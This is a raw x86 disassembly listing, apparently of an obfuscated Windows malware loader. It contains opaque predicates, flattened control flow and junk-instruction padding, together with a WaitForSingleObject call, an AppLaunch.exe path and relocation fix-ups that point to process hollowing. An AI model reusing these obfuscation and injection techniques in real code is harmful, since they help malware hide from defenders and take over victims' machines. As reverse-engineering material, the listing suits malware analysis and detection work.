xor ecx, 0xe176108
mov eax, esi
and esi, 0x322de935
and edx, 0xcdd216ca
or eax, 1
and ecx, 0x1f77f718
or edx, esi
mov ebx, eax
and ebx, 0xe08808e7
mov edi, edx
xor edi, 0xd521608
xor edx, 0x322de934
or ecx, ebx
or eax, edx
and edx, 0xe08808e7
and edi, 0x1f77f718
or edi, edx
not eax
xor edi, ecx
or eax, edi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x82008020
and eax, 0x79fe55df
and ecx, 0x4012a00
or edx, ecx
xor edx, 0x82008020
or eax, edx
mov ecx, eax
not ecx
and eax, 0x64dcbb8f
and ecx, 0x9b234470
or eax, ecx
mov ecx, eax
xor ecx, 0x40981001
xor eax, 0x1d22ee50
mov edx, eax
and edx, 0xbe6789ee
and ecx, 0x41987611
or ecx, edx
xor ecx, 0xbe6789ee
xor eax, ecx
test eax, ecx
setne ah
sete al
cmp dword [0x460980], 0xa
mov dh, ah
setl ch
setge cl
mov dl, ch
and dh, cl
or ah, ch
and dl, al
xor al, ch
or dl, dh
and al, ch
xor dl, 1
xor al, 1
or dl, cl
mov ch, al
or al, ah
mov cl, dl
xor ch, ah
xor al, 1
xor cl, 1
or al, ch
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
mov edx, ecx
xor ah, 1
xor dl, al
or ah, cl
xor ah, al
or al, cl
xor al, 1
or al, dl
mov edx, 0xa0765ca3
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x92309e81
cmovne ecx, edx
test al, 1
mov edx, 0x92309e81
cmovne edx, ecx
test ah, 1
jmp 0x410994
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x10cee69b
mov eax, ecx
and eax, 0x10c44289
and edx, ecx
not ecx
and ecx, 0xaa412
or eax, ecx
xor eax, 0x10c44289
or eax, edx
not edx
and edx, 0xef311964
and eax, 0x10cee69b
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x80601300
mov esi, ecx
mov edi, ecx
or esi, 0x2d0408a6
and edx, 0xad641ba6
and edi, 0x428a8048
and ecx, 0xce0b5aba
or edi, edx
mov edx, eax
and esi, 0xad641ba6
and edx, 0x10116411
and eax, 0x31f4a544
or edx, esi
or ecx, eax
xor edx, edi
xor ecx, 0xce0b5aba
mov esi, edx
not esi
and edx, 0x6f8e88ef
and esi, 0x90717710
or edx, esi
mov esi, 0x34fd0a99
or ecx, edx
mov eax, ecx
xor eax, 0x1e9d007d
and eax, ecx
not ecx
and ecx, 0x1e9d007d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf6ad20ac
and ecx, 0x952df53
or eax, ecx
mov ecx, eax
xor ecx, 0x68300080
xor eax, 0x16cbc20e
and ecx, 0x69341da0
and eax, 0x96cbe25f
or eax, ecx
xor eax, 0x96cbe25f
sete cl
setne ah
cmp dword [0x460980], 0xa
setge al
mov edx, eax
xor dl, ah
mov ch, dl
and ch, cl
or cl, al
or al, ah
xor al, 1
xor cl, 1
or al, dl
xor dl, 1
or cl, ch
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
xor al, 1
and dl, ah
xor dl, 1
or dl, ah
mov ah, cl
xor dl, 1
xor ah, al
or dl, cl
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x8a8dd4f2
cmovne ecx, esi
test al, 1
mov eax, 0x8a8dd4f2
jmp 0x402252
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x88108162
not edx
mov esi, edx
or esi, 0x274b1408
and ecx, 0xaf5b956a
and edx, 0x40a42a84
or edx, ecx
mov ecx, eax
and esi, 0xaf5b956a
and ecx, 0x10004011
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x769992d9
and edx, 0x89666d26
or ecx, edx
mov edx, ecx
xor edx, 0x1176ac54
xor ecx, 0xee8953ab
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0xa94765f4
not edx
or edx, ecx
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setl ch
setge cl
mov al, ch
and cl, dl
xor al, ah
and ah, ch
or ch, dl
or cl, ah
mov dl, ch
xor cl, 1
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, 1
mov ecx, edx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x67345952
cmovne esi, eax
test dl, 1
mov eax, 0xa94765f4
cmovne eax, esi
jmp 0x41176a
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x93b23e68
and edx, 0x6c4dc197
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6c4dc197
or eax, esi
and esi, 0x93b23e68
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xc1a3908e
and eax, 0x3e5c6f71
or eax, edx
mov edx, ecx
not edx
and ecx, 0xa86a23b9
mov esi, edx
and esi, 0x5795dc46
or ecx, esi
mov esi, eax
xor esi, 0x28482330
xor eax, 0xc1a3908f
or edx, eax
and eax, 0x5795dc46
and esi, 0xa86a23b9
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0xaa873999
mov eax, edx
xor eax, 0xe72073c6
and eax, edx
not edx
and edx, 0xe72073c6
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd8a54b35
and ecx, 0x275ab4ca
or eax, ecx
mov ecx, eax
xor ecx, 0x2813091
xor eax, 0xc07ac70c
mov edx, eax
and edx, 0x7d064862
and ecx, 0x82f9b79d
or ecx, edx
xor ecx, 0x7d064862
xor eax, ecx
test eax, ecx
sete dl
cmp dword [0x460980], 0xa
setge al
setl cl
xor cl, dl
xor dl, al
and al, dl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
mov ecx, edx
or al, dl
xor cl, al
not cl
test cl, 1
mov ecx, 0x9c9f5ba1
cmovne ecx, esi
test al, 1
mov eax, 0xaa873999
jmp 0x402252
mov eax, 0x626b8c3
jmp 0x402260
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, 0xb87606ca
jmp 0x402260
mov eax, dword [ebp - 0xb8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ror edx, 0x89
dec esi
imul ebx
imul edi
rcr eax, 0xac
dec eax
bswap edx
bswap edx
rol eax, 0xef
bswap esi
rcl edi, 0x4a
neg edx
neg ebx
rcr ebx, 0xb
rol eax, 0xd7
and edi, 0x43
or esi, 0x11
neg edi
dec edx
bswap ebx
imul edx
dec edx
rcl eax, 0x97
neg esi
inc edx
neg ebx
imul ebx
bswap esi
rcl eax, 0xb4
rcl eax, 0xdd
mov eax, 0xed
not esi
sub eax, 0xd1
ror edi, 0xd3
add esi, 6
and edi, 0x3d
neg edx
sub edx, 0x44
rcr edi, 0x73
add edi, 0xc6
inc edx
neg edx
inc edi
rcr edi, 0xd4
dec eax
imul eax
bswap edx
ror ebx, 0xc8
imul eax
add edi, 0x8e
or edx, 0xdc
add edx, 0x41
rol edx, 0x32
imul esi
or edi, 0x53
sbb eax, 0xb6
rcl eax, 0x35
mov edx, 0x82
inc edx
imul edx
mov esi, 0x79
not edx
dec esi
rcr edi, 0x9d
inc edi
dec esi
sub eax, 0x5a
rol eax, 0x9e
mov eax, 0xeb
imul edx
ror edx, 0xd2
imul eax
inc edx
not edx
bswap eax
add edx, 0x6b
imul eax
and edx, 0x79
imul ebx
bswap edx
sbb edi, 0x1d
imul edx
dec ebx
ror eax, 0xc3
sbb edx, 0x58
mov eax, 0x16
sub edx, 0x65
inc ebx
not ebx
neg edi
or esi, 0
bswap edx
rol edx, 0xb9
imul edx
bswap ebx
rol esi, 0x54
dec esi
dec edi
rol edi, 0x75
and esi, 0xc
rcr edi, 0xca
dec edi
rol ebx, 0xb3
bswap ebx
imul esi
and ebx, 0xca
bswap edi
neg esi
rcl eax, 0x79
inc ebx
inc ebx
and eax, 0xa0
inc ebx
mov esi, 0x9a
dec eax
sub edx, 0x60
or ebx, 0x45
inc esi
not eax
bswap ebx
and ebx, 0xbf
mov ebx, 0xe8
dec edi
or edi, 0xcb
rcr esi, 0x83
sbb edx, 0xf3
inc esi
add eax, 0x4b
dec edi
rol edx, 0xde
add eax, 0xd4
rcl edi, 0xb2
or edx, 0xe9
neg edx
rcr ebx, 0xe7
not ebx
neg esi
dec edx
inc ebx
rcl esi, 0x1c
not edi
neg eax
rol esi, 0x6b
inc edi
and edi, 0xaf
mov edi, 0xbd
dec eax
add ebx, 0x13
imul ebx
or edx, 0x61
mov eax, dword [0x460984]
mov edi, 0x2e94fe30
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xc8724275
mov eax, edx
and eax, 0x91c9acef
and ecx, edx
not edx
and edx, 0x6e365310
or eax, edx
mov edx, eax
xor eax, 0x48324210
xor edx, 0x80000061
mov esi, eax
or esi, 0x180048a
and edx, 0xc0320271
and esi, 0x9c0448e
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf63fbb71
or eax, esi
and esi, 0x9c0448e
or ecx, esi
not eax
mov esi, 0x3f46e290
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x378dbd8a
and eax, 0xc8724275
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x548c00a
and eax, 0xb8371ff5
and ecx, 0x42802000
or edx, ecx
xor edx, 0x548c00a
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa02d0a84
and ecx, 0x5fd2f57b
or eax, ecx
mov ecx, eax
xor ecx, 0xe7e18006
xor eax, 0x180a0570
and ecx, 0xe7f19007
and eax, 0x180e6ff8
or eax, ecx
cmp eax, 0x180e6ff8
sete dl
cmp dword [0x460980], 0xa
mov ah, dl
setge cl
setl al
or ah, cl
and cl, dl
xor ah, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, 0x2e94fe30
xor al, 1
or al, ah
xor al, cl
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 0
cmove edi, edx
mov eax, edi
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xf3611d0
mov edx, eax
and edx, 0xf0c9ee2e
and eax, 0xe89b9049
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0xf3611d0
and ecx, 0x17646fb6
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xe89b9049
mov edi, esi
and edi, 0x17646fb6
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x1d1ad099
sete dl
setne ah
cmp dword [0x460980], 0xa
setge cl
mov al, cl
xor dl, cl
or cl, ah
xor al, ah
xor cl, 1
mov ah, dl
or cl, al
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
xor al, cl
or cl, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xa3975b61
cmovne eax, esi
test cl, 1
not dl
cmovne eax, esi
mov esi, dword [ebp - 0xe8]
test dl, 1
mov edx, 0xa3975b61
cmove eax, edx
mov dword [ebp - 0x13c], esi
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and edx, 0x51c6ac26
and eax, 0xae3953d9
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x6f9b220f
mov edx, eax
xor edx, 0xae3953d9
xor eax, 0x51c6ac26
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne cl
sete dl
cmp dword [0x460980], 0xa
mov ah, cl
setl ch
setge al
or cl, ch
and ah, al
and ch, dl
or ch, ah
mov ah, ch
xor ah, al
or al, dl
mov edx, eax
or al, cl
and ah, ch
xor dl, cl
xor al, 1
mov cl, ah
or al, dl
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xbb6ab495
cmovne edx, esi
test al, 1
mov eax, 0xbb6ab495
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402260
mov eax, dword [ebp - 0x3c]
mov ebx, 0x6652b5fb
mov dword [eax], 4
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
or eax, 1
and edx, ecx
not ecx
mov edi, eax
and edi, 0x3473b183
mov esi, ecx
and esi, 0xcb8c4e7c
or esi, edi
mov edi, edx
not edi
and edx, 0xcb8c4e7c
or eax, edi
and edi, 0x3473b183
or edx, edi
not eax
mov edi, 0x6652b5fb
xor edx, esi
mov esi, 0xfa36a0d
or eax, edx
mov edx, eax
not edx
and eax, 0x8e0ac715
and edx, 0x71f538ea
or eax, edx
xor eax, 0x8e0ac715
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x460980], 0xa
setge cl
xor cl, al
and al, cl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
and dl, al
mov eax, ecx
xor al, dl
test cl, cl
cmovne ebx, esi
test dl, dl
cmove ebx, edi
test al, al
cmovne ebx, esi
mov eax, ebx
jmp 0x402260
mov eax, dword [ebp - 0xb4]
mov eax, 0x94291b8f
jmp 0x402260
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x6c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x50]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x195c5074
and eax, 1
mov esi, ecx
and esi, 0xe6a3af8a
or edx, esi
mov esi, edx
xor esi, 0x11580030
xor edx, 0x20a288
or eax, esi
and edx, 0x824f2cc
mov esi, 0xebf7eabb
and eax, 0xf7db0d33
or eax, edx
xor eax, 0xf7db0d33
or eax, ecx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x460980], 0xa
setge al
setl ah
and ah, cl
mov ecx, eax
and cl, dl
xor dl, al
and al, dl
or cl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov edx, 0x323ba0f3
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, 1
mov eax, 0x323ba0f3
cmovne edx, eax
test cl, 1
jmp 0x410011
mov ecx, dword [0x460984]
mov esi, 0x93cde0ea
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x26670a2d
and ecx, 0xd998f5d2
or eax, ecx
mov ecx, eax
xor ecx, 0x20620008
xor eax, 0x19182152
and eax, 0x1f1d2b77
and ecx, 0xe0e2d488
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xe0e2d488
xor eax, 0x1f1d2b77
xor edx, 0x1f1d2b76
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x5888136e
and ecx, eax
not eax
and eax, 0x5888136e
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4b80eddc
and eax, 0xb47f1223
or ecx, eax
mov eax, ecx
xor eax, 0x84480
xor ecx, 0x24550145
and ecx, 0x3755bb77
and eax, 0xc8aa4488
or eax, ecx
mov ecx, eax
xor ecx, 0x88224008
xor eax, 0x11100146
and eax, 0x519805c6
and ecx, 0xae67fa39
or ecx, eax
xor ecx, 0xae67fa39
setne dl
sete ch
cmp dword [0x460980], 0xa
mov ah, dl
setge cl
setl al
mov dh, cl
and ah, al
or al, dl
and dh, ch
or ch, cl
xor al, 1
xor ch, 1
or ah, dh
or al, ch
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
xor al, 1
or cl, ch
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xbbbbda8c
cmovne ecx, esi
test al, 1
mov eax, 0xbbbbda8c
cmovne eax, ecx
jmp 0x411ca3
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x68]
vmovups ymm1, ymmword [0x43d1b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x43d1d0]
add eax, 0xfffffff8
mov dword [ecx], eax
dec edi
inc edx
add eax, 0x6b
dec eax
dec edx
mov esi, 0x89
sub esi, 0xda
rol ebx, 0xca
not edx
or ebx, 0xa6
sbb edi, 0x5c
imul edi
rcr edi, 8
dec eax
mov ebx, 0xd2
imul ebx
mov edi, 0x86
neg eax
not esi
dec edx
sub edi, 0x61
or edi, 0xe9
add eax, 0x7d
inc edi
rol edx, 0xed
and edi, 0xf6
add edi, 0x6d
rcl edi, 0xef
mov esi, 0x41
dec edi
sub edi, 0x18
rcl edx, 0x73
bswap edi
inc esi
imul eax
sbb eax, 0xfb
sub edi, 0x1f
bswap edi
bswap edx
or edi, 0xb1
sub esi, 0xc5
bswap edx
rol eax, 0x86
bswap eax
mov edi, 0xa3
rcl ebx, 0x9b
sbb esi, 0xe0
dec esi
mov edx, 0x14
dec edx
mov ebx, 0x78
mov ebx, 7
and esi, 0x40
neg ebx
not eax
add ebx, 8
not eax
mov edx, 0xad
or ebx, 0x6d
add eax, 0x59
imul edx
and ebx, 0x12
sub eax, 0xc1
bswap eax
dec edx
bswap edx
neg eax
rcl eax, 0xf2
mov esi, 0x39
neg esi
sbb edx, 0x78
inc edx
add edi, 0xc0
inc edx
inc edi
not ebx
sbb ebx, 0x3f
and eax, 0x6d
imul esi
rcr edi, 0x43
bswap eax
rcl edi, 0x8e
dec esi
sub edx, 0x53
dec eax
add eax, 7
or eax, 0x28
imul esi
imul ebx
sub esi, 0x42
not edi
sbb esi, 0x34
imul eax
not edi
sbb eax, 0x1d
neg edi
rcr ebx, 4
ror ebx, 0xa0
neg ebx
ror esi, 0x9d
not edi
or ebx, 0x34
bswap edi
imul eax
and ebx, 0x56
rcr esi, 0xdc
sbb eax, 0xbc
dec edi
mov edi, 0x9d
rol edi, 0x8e
dec eax
and ebx, 0xcd
imul edx
add edi, 0x40
sub edx, 0x29
sub edi, 0x95
bswap ebx
sbb edx, 0x40
not edi
not eax
neg ebx
neg edi
and ebx, 0x15
not edx
imul edi
rcr esi, 0xbb
mov eax, 5
bswap edi
ror edx, 0xf8
not edi
not edx
rol ebx, 0x46
add edx, 0x11
ror edx, 0x8d
dec esi
inc ebx
imul edi
not esi
bswap ebx
rcr edi, 0xd8
rcl edi, 0x2f
add ebx, 0x31
add edx, 0xaf
neg edi
rcl eax, 0xa
bswap edi
inc esi
neg ebx
inc esi
ror esi, 0xb0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
add eax, 0x24
mov dword [ecx], eax
not eax
rcr esi, 0xef
bswap edi
rcl eax, 0xe0
sbb edi, 0x5a
sub eax, 0x23
imul ebx
neg edi
sub edi, 0x47
imul eax
dec esi
add ebx, 0xba
rcl esi, 0x7d
dec edi
neg esi
neg esi
sbb eax, 0x49
inc esi
rcr esi, 0x3f
dec ebx
dec ebx
or ebx, 0xd7
inc edi
mov eax, 0x3b
inc esi
add edi, 0x9b
rcr edx, 0x84
imul esi
not ebx
ror edx, 0x1b
sbb edx, 0xa5
rol esi, 0xfa
and edx, 0xf4
neg esi
sub eax, 0xd1
imul edx
dec edx
sub edi, 0x19
ror edi, 0xc
rol edi, 0x34
not eax
inc esi
imul esi
inc edi
bswap edi
imul esi
or edx, 0xd7
neg eax
rcr ebx, 0xea
and eax, 0x9f
rol esi, 0x1b
rol ebx, 0x72
inc esi
inc edi
sub edi, 0x6d
inc eax
rcr ebx, 0x57
sub esi, 0x3f
neg edx
rcl eax, 0x27
ror edx, 0x9e
not eax
neg eax
rcl eax, 0x7d
not edi
or esi, 0x17
or edx, 0x39
imul esi
bswap ebx
ror edx, 0xe8
not eax
not edx
bswap ebx
sub edx, 0x58
neg edi
not ebx
mov edx, 0x86
neg edi
rcl edx, 0x96
ror esi, 0xe4
dec esi
not esi
not edx
not eax
and esi, 0x64
or eax, 0x4d
mov esi, 0x32
mov edx, 0x86
not ebx
bswap edx
not edi
sub esi, 0xa3
not edi
sub eax, 0x68
rcr ebx, 0x50
imul ebx
mov edi, 0x58
add edx, 0x97
inc edi
or ebx, 0x5c
bswap ebx
dec ebx
dec esi
add ebx, 0xc9
dec esi
rcl esi, 0xba
dec edx
mov edi, 0
not edx
and esi, 8
sbb edx, 0xdd
ror edi, 0x95
and edx, 0x45
mov edx, 0xfd
inc esi
dec ebx
dec eax
mov esi, 0xc8
not ebx
not edi
sbb edi, 0xe
sbb edx, 3
not edx
bswap eax
bswap ebx
mov eax, 0xf9
dec eax
dec eax
add edi, 5
sbb edx, 0xdb
sbb ebx, 0x4d
imul edx
or eax, 0xa1
rcl edi, 0xd5
inc edx
rcr edx, 0x87
imul eax
ror esi, 0x4a
bswap edx
imul edi
rol eax, 0x81
add ebx, 0x51
neg eax
rol eax, 0xcd
neg esi
bswap esi
sub ebx, 0x5d
bswap esi
neg edi
neg edx
mov dword [ebp - 0x20], eax
mov edi, 0x21dd2840
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x43d1e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x70]
setne byte [eax]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x70]
cmp byte [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
setne byte [ebp - 0xa1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x5e99ef2a
and eax, 0xa16610d5
or eax, ecx
mov ecx, eax
mov esi, eax
xor esi, 0xa1221014
xor ecx, 0x5e99ef2a
xor eax, 0x204f5447
mov edx, ecx
and esi, 0xb5b3b63e
and edx, 0x4a4c49c1
and eax, ecx
or edx, esi
mov ecx, edx
xor ecx, 0x4a4c49c1
xor edx, 0xa1a10018
mov esi, ecx
and esi, 0x7ed6bb6d
and edx, 0xe1ad4998
and ecx, 0x1e52b666
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x7ed6bb6c
and esi, 0x81294493
or eax, esi
mov edx, eax
not edx
and eax, 0x945273e1
mov esi, edx
and esi, 0x6bad8c1e
or eax, esi
mov esi, ecx
xor esi, 0x14523260
xor ecx, 0xe1ad4999
or edx, ecx
and ecx, 0x6bad8c1e
and esi, 0x945273e0
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0x5d394be4
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0xed5c286d
and edx, 0x12a3d792
or ecx, edx
xor ecx, 0xed5c286d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x46782c01
mov edx, ecx
and edx, 0xb987d3fe
or eax, edx
xor eax, 0x46782c01
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x460980], 0xa
setl ah
setge dl
xor ah, cl
xor al, dl
mov cl, ah
xor cl, dl
mov edx, eax
and cl, ah
not dl
mov ah, cl
xor ah, 1
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0x21dd2840
xor cl, al
test al, al
cmovne edx, esi
test ah, ah
cmovne edx, edi
test cl, cl
cmove edx, esi
mov eax, edx
jmp 0x402260
mov ecx, dword [0x460984]
mov edi, 0xdaa7c97e
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x50178a20
and eax, 0x88206080
mov edx, ecx
and edx, 0x26801104
or ecx, 0x42120a00
or esi, edx
and ecx, 0x435a0e5b
mov edx, esi
xor edx, 0x10058020
xor esi, 0x348045b
or eax, ecx
and esi, 0x435a0e5b
and edx, 0x34859124
or edx, esi
mov esi, 0x63d031fe
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb535d69b
and ecx, 0x4aca2964
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x28582200
xor ecx, 0xc3a24dbf
xor eax, 0x39a198e6
and eax, ecx
and edx, 0x68da239d
and ecx, 0x9725dc62
or ecx, edx
mov edx, ecx
xor edx, 0x9201d440
xor ecx, 0x68da239c
and edx, 0xfa03d559
and ecx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0xfa03d558
and edx, 0x5fc2aa7
or eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x6cc22ae9
and eax, 0x933dd516
or ecx, eax
mov eax, ecx
xor eax, 0x4c02808
xor ecx, 0x82241500
and ecx, 0xea2617e1
and eax, 0x15d9e81e
or eax, ecx
cmp eax, 0xea2617e1
setne al
cmp dword [0x460980], 0xa
setge dl
setl cl
mov ah, dl
and cl, al
or ah, al
inc al
and al, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xdaa7c97e
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dl, dl
cmove eax, esi
jmp 0x402260
cmp byte [ebp - 0x96], 0
mov eax, 0x7dc87c37
mov ecx, 0x9e93a393
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, 0x111a7fa7
jmp 0x402260
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x45a9
mov esi, edx
and esi, 0xffffba56
mov ebx, edx
or ebx, 0xb00
and edx, 0xffff93f5
or edi, esi
and ebx, 0x1bb0
mov esi, edi
xor edi, 0xa00
xor esi, 0x4400
or edi, 0x10b0
and esi, 0x4446
and edi, 0x1bb0
or esi, edi
mov edi, ecx
and edi, 0xa009
and ecx, 0x6c0a
or edi, ebx
or ecx, edx
xor edi, esi
mov esi, edi
not esi
and edi, 0x6d6a
and esi, 0xffff9295
or edi, esi
mov ebx, edi
xor edi, 0x4000
xor ebx, 0x2dd3
mov edx, ebx
and edx, 0xffffb23e
and edi, 0x4dc1
or edi, edx
mov edx, ecx
xor edx, 0x4c00
xor ecx, 0xffff93f5
or ebx, ecx
and ecx, 0xffffb23e
and edx, 0x4dc1
or edx, ecx
not ebx
xor edx, edi
or ebx, edx
not ebx
movzx ecx, bx
mov edx, dword [eax + ecx]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
add edx, dword [ebp - 0x30]
mov dword [eax + ecx], edx
mov eax, 0xdba604b1
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x5639c638
and ecx, 0xa9c639c7
or eax, ecx
mov edx, eax
xor edx, 0x52118410
xor eax, 0x89863985
and eax, 0x8dae7bad
and edx, 0x72518452
or edx, eax
mov eax, edx
xor edx, 0x52508450
xor eax, 0x8dae7bad
mov ecx, eax
and edx, 0x5edaf578
and ecx, 0xa1250a87
and eax, 0xb40b91ab
or ecx, edx
mov edx, ecx
mov esi, ecx
